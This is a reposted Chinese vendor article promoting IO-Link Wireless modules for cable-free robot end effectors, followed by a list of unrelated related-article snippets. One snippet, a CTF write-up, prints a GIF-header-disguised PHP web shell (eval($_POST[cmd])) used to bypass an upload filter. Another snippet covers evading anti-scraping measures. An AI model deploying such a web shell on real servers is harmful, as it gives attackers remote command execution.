虹科分享 | 为工业机器人解绑,IO-Link wireless无线通讯技术可实现更加轻量灵活的机器人协作

news2024/12/24 3:39:54

背景

机器人是一种能够半自主或全自主工作的智能机器。中国电子学会组织发布的《中国机器人产业发展报告(2022年)显示,近些年,我国机器人市场规模持续快速增长,“机器人+”应用不断拓展深入,预计五年年均增长率达到22%。而机器人产业的高质量发展,则离不开强化核心技术研发,加快突破机器人系统开发、操作系统、轻量化设计、多机器人协作等共性技术。

机械臂可以更精确、更快速、更高效地执行以往由人工完成的复杂操作,从而在现代工厂中发挥着关键的作用。机械臂既可以单独行动(机器人),也可以在协作环境中与人类操作员一起行动(协作机器人)。但无论是执行装配任务、拾取和投放还是处理危险材料,机器人和协作机器人都需要在机械臂末端安装传感器和执行器,即通常所说的末端执行器。
在这里插入图片描述

困难与挑战

难点1:监控自由度

对于末端执行器的操作,除了动力之外,实现自动化还需要控制和监测的连接性。然而,机器人技术的关键要求是运动、旋转和拐弯的自由度和灵活性。这就意味着,能够到达末端执行器的布线必须设计得不会限制机械臂的实际操作。这对许多设计来说都是一项极具挑战性的任务,也是连接性和灵活性之间的一项重要工程权衡。

难点2:模块化

机器人和协作机器人通常被设计成一个平台,其关键功能是运动、旋转和弯曲。因此,用于提升或抓取的机械臂与用于焊接或拧螺丝的机器人具有相同的机械结构。唯一的区别在于后期根据生产设施的实际部署和自动化任务来选择的末端执行器。末端执行器制造商与机器人制造商往往是不同的实体,需要独立的通信渠道。此外,高级应用可能需要部署多个传感器和执行器,这就需要不同的带宽和连接规格。

难点3:改造与协作

在机械臂末端安装特定或额外末端执行器的一种解决方案是使用安装配件进行外部布线。虽然这种解决方案可以解决连接性和模块化方面的限制,但成本高且繁琐,还会对机器人的运动和功能造成额外的限制。对于人与机械臂连接的协作机器人来说,外部布线构成了更大的障碍,使协作变得更加复杂。

IO-Link wireless工业无线解决方案

由于机械臂末端执行器方面的限制,许多应用都需要无线连接。无线连接使设计和外形尺寸更合理,而且无需考虑电缆,可实现连续旋转、更大的操作范围以及传感器和执行器的模块化部署等功能。它还能降低部署成本、维护成本(由于电缆磨损)和意外停机时间。

然而,传统的无线技术并不适合机器人和协作机器人提出的工业操作要求。在工业自动化中操作执行器和监控传感器需要极低的延迟和响应时间,以及高可靠性和抗干扰性。Wi-Fi、蓝牙和Zigbee等技术在此类应用中既不可靠,速度也不够快。

架构部署

为了实现这一解决方案,虹科TigoAir系列无线设备连接SOM(系统模块)可集成在机械臂末端,允许通过IO-Link wireless连接到末端执行器。它可无线连接到TigoMaster,后者最多可控制16台设备。TigoMaster既可以安装在机器人上,也可以安装在生产线的控制箱中,用于控制多个机器人的末端执行器。虹科Tigomaster能够通过已有的工业通讯协议(如EtherNet/IP, EtherCAT,PROFINET或OPC UA)与自动化PLC进行实时数据传输和控制,在工业以太网并行系统中还可通过 MQTT 和 OPC UA 等协议向 IIoT 平台发送监控数据。
在这里插入图片描述

应用

虹科TigoAir SOM模块已被领先的末端执行器供应商采用,并实现了前所未有的应用。其中一种设计是用于模块化部署的机械臂末端支架,目前可支持顶级制造商生产的各种型号的真空泵和机械手。配备了这种IO-Link Wireless支架的机械臂平台可以完全独立于布线,并根据需要配备所需的执行器。因此,它仍能像有线连接一样执行所有要求的任务,而且不受电缆的限制。

其他末端执行器可作为改装件安装在任何机器人/协作机器人平台上,使用虹科TigoBridge可将任何IO-Link设备无缝转换为IO-Link Wireless设备,无需专门设计或预先集成。TigoBridge是带IP67防护等级外壳的独立装置,开箱即可使用,无需集成,也可作为SOM供设备制造商快速、低成本地集成到现有设备中。

总结

IO-Link wireless技术可实现传感器和执行器之间的无线通信,为智能工厂和生产线提供强大、可靠和安全的通信解决方案。虹科IO-Link解决方案基于开放代码的IO-Link协议,该协议已扩展到无线使用以实现各种解决方案,例如运输轨道和输送系统,无线机器人,智能机床,旋转台、转盘以及状态监测和机器改造。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1045216.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

论文学习:RT-DETR

RT-DETR 摘要 DETR取得显著性能,但高成本计算使其无法发挥无NMS的优势,无法实际应用。本文分析了NMS对准确性和速度的负面影响,并建立端到端的速度基准。第一个实时端到端检测器,高效处理多尺度特征,并提出IoU-aware…

大型IT系统的UML类图设计实践与管理

导言: 在现代软件开发中,建立大型IT系统的UML类图是一项至关重要的任务。这些类图扮演了关键角色,帮助开发团队理清系统的结构、功能和关系。然而,随着系统规模的增大,类图的设计和管理变得复杂起来。本文将探讨一些关…

Python——— 异常机制

(一)异常 工作中,程序遇到的情况不可能完美。比如:程序要打开某个文件,这个文件可能不存在或者文件格式不对;程序在运行着,但是内存或硬盘可能满了等等。 软件程序在运行过程中,非常…

8、SpringBoot_多环境开发

二、多环境开发 1.概述 概述:开发环境、测试环境、生产环境 分类 开发环境 spring:datasource:druid:url: jdbc:mysql://localhost:3306/springboot_ssmusername: rootpassword: 123456driver-class-name: com.mysql.cj.jdbc.Driver测试环境 spring:datasource:dr…

[WUSTCTF2020]CV Maker 文件头检查

这道很简单 首先注册登入 很显然是我们文件上传 我们直接随便上传一个看看 报错了我们去看看 这个 exif是什么 就是检查文件头 那我们直接修改文件头上传即可 GIF89a <script language"php">eval($_POST[cmd]); </script> 上传修改php即可

全网最全Python系列教程(非常详细)---字符串讲解(学Python入门必收藏)

&#x1f9e1;&#x1f9e1;&#x1f9e1;这篇是关于Python中字符串的讲解&#xff0c;涉及到以下内容&#xff0c;欢迎点赞和收藏&#xff0c;你点赞和收藏是我更新的动力&#x1f9e1;&#x1f9e1;&#x1f9e1; 本文将从以下几个方面展开对字符串的讲解&#xff1a; 1、字…

如何在Python中实现安全的密码存储与验证

在现代互联网时代&#xff0c;安全性已经成为一个非常重要的问题。在我们的日常生活中&#xff0c;我们会使用许多网站和应用程序&#xff0c;而这些网站和应用程序通常要求我们提供密码来保护我们的个人信息。然而&#xff0c;密码泄露事件时有发生&#xff0c;我们经常听到关…

@ConditionalOnProperty配置属性作为条件

1.ConditionalOnProperty​做什么用的&#xff1f; 主要是根据配置参数&#xff0c;来决定是否需要创建这个bean&#xff0c;这样就给了我们一个根据配置来控制Bean的选择的手段了&#xff0c;不启用只需要更改配置即可。 ​ConditionalOnProperty​源码 package org.springf…

进程管理--CFS调度器(1)

介绍 CFS&#xff08;Completely Fair Scheduler&#xff0c;完全公平调度器)用于Linux系统中普通进程的调度。它给cfs_rq&#xff08;cfs的run queue&#xff09;中的每一个进程设置一个虚拟时钟&#xff0c;vruntime。如果一个进程得以执行&#xff0c;随着时间的增长&#…

Pycharm在进行debug时出现collecting data如何解决?

Pycharm在进行debug时变量界面出现collecting data&#xff0c;问题如下&#xff1a; 解决方法&#xff1a;打开Setting界面&#xff0c;在Python Debugger选项中勾选下图中的Gevent compatible即可。

iOS CocoaPod 打包:SDK开发、Pod组件生成等

参考链接&#xff1a;CocoaPod打包 SDK开发 - 简书 iOS非集成打包&#xff1a;依赖cocoapods的Swift静态库打包、脚本合并真机与模拟器 - 简书 iOS 组件化开发----pod私有库制作及使用_ios组件化开发-CSDN博客 1.生成pod包命令 pod lib create testTools 如果提示&#xf…

img 固定宽高 图像不拉伸 显示图片中间部分

.m-sd-chat-select-avatar-img{width: 100px;height: 125px;object-fit: cover;border-radius: 6px;cursor: pointer;} 使用后&#xff1a; 使用前&#xff1a;

Django 联表查询操作

在日常的开发中&#xff0c;常常需要对多张数据表同时进行数据查询。多表查询需要在数据表之间建立表关系才能够实现。一对多或一对一的表关系是通过外键实现关联的&#xff0c;而多表查询分为正向查询和反向查询。 表模型结构 以歌手表、专辑表、单曲表查询为例子。 歌手与专…

RK3588 VDD_LOGIC电源PCB设计注意事项

RK3588 VDD_LOGIC电源PCB设计 1、VDD_LOGIC的覆铜宽度需满足芯片的电流需求&#xff0c;连接到芯片电源管脚的覆铜足够宽&#xff0c;路径不能被过孔分割太严重&#xff0c;必须计算有效线宽&#xff0c;确认连接到CPU每个电源PIN脚路径都足够。 2、如图1所示&#xff0c;原理…

Scrapy-应对反爬虫机制

参考自https://blog.csdn.net/y472360651/article/details/130002898 记得把BanSpider改成自己的项目名&#xff0c;还有一个细节要改一下&#xff0c;把代码user换成user_agent 禁止Cookie 在Scrapy项目中的settings文件&#xff0c;可以发现文件中有以下代码: COOKIES_ENA…

红黑树-自平衡二叉搜索树

一、简介 红黑树&#xff08;Red-Black Tree&#xff09;是一种自平衡的二叉搜索树&#xff0c;它的节点可以是红色或黑色。这个颜色的设计是为了满足红黑树的五个关键性质&#xff0c;确保树保持平衡和高效地支持插入、删除和搜索操作。 以下是红黑树的五个关键性质&#xf…

【Unity3D日常开发】Unity3D中Quality的设置参考

推荐阅读 CSDN主页GitHub开源地址Unity3D插件分享简书地址我的个人博客 大家好&#xff0c;我是佛系工程师☆恬静的小魔龙☆&#xff0c;不定时更新Unity开发技巧&#xff0c;觉得有用记得一键三连哦。 一、前言 这篇文章就来讲一下Quality的设置&#xff08;Unity版本&#…

浪潮信息被Gartner评为全球文件存储标杆厂商

近日&#xff0c;国际权威研究机构 Gartner 正式发布《2023年存储和数据保护技术成熟度曲线报告》&#xff08;(Hype Cycle for Storage and Data Protection Technologies, 2023&#xff0c;以下简称“报告”&#xff09;&#xff0c;基于对市场应用的前瞻洞察和多年的技术精耕…

518抽奖软件,一键打印中奖名单的方法和用途

518抽奖软件简介 518抽奖软件&#xff0c;518我要发&#xff0c;超好用的年会抽奖软件&#xff0c;简约设计风格。 包含文字号码抽奖、照片抽奖两种模式&#xff0c;支持姓名抽奖、号码抽奖、数字抽奖、照片抽奖。(www.518cj.net) 一键打印中奖名单 主窗口上按 CtrlP 打开 {…

在关系型数据库中储存树形结构

adjacency list 邻接表显然是最简单的方式&#xff0c;也是在实践中经常用到的。其储存节点以及直接父节点来进行储存树形结构 邻接表结构简单&#xff0c;查询修改节点的直接父节点都很容易。然而如果返回父节点下的所有节点之类的跨层操作那就很麻烦了&#xff0c;需要频繁…